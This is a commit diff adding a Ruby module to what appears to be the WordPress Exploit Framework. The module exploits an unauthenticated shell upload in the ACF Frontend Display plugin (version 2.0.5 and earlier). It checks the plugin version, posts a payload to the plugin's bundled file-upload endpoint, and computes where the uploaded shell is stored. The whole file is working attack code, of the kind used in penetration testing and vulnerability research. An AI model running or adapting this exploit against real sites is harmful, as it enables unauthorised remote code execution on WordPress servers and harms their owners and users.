Add ACF Frontend Display <= v2.0.5 unauthenticated shell upload

Author: rastating

modules/exploits/acf_frontend_display_shell_upload.rb

@@ -0,0 +1,39 @@
+class Wpxf::Exploit::AcfFrontendDisplayShellUpload < Wpxf::Module
+  include Wpxf::WordPress::ShellUpload
+
+  def initialize
+    super
+
+    update_info(
+      name: 'ACF Frontend Display <= 2.0.5 Unauthenticated Shell Upload',
+      author: [
+        'TCYB3R',                         # Discovery and disclosure
+        'Rob Carr <rob[at]rastating.com>' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8086'],
+        ['EDB', '37514']
+      ],
+      date: 'Jul 03 2015'
+    )
+  end
+
+  def check
+    check_plugin_version_from_readme('acf-frontend-display', '2.0.6')
+  end
+
+  def uploader_url
+    normalize_uri(wordpress_url_plugins, 'acf-frontend-display', 'js', 'blueimp-jQuery-File-Upload-d45deb1', 'server', 'php', 'index.php')
+  end
+
+  def payload_body_builder
+    builder = Utility::BodyBuilder.new
+    builder.add_field('action', 'upload')
+    builder.add_file_from_string('files', payload.encoded, payload_name)
+    builder
+  end
+
+  def uploaded_payload_location
+    normalize_uri(wordpress_url_uploads, "uigen_#{Time.now.strftime('%Y')}", payload_name)
+  end
+end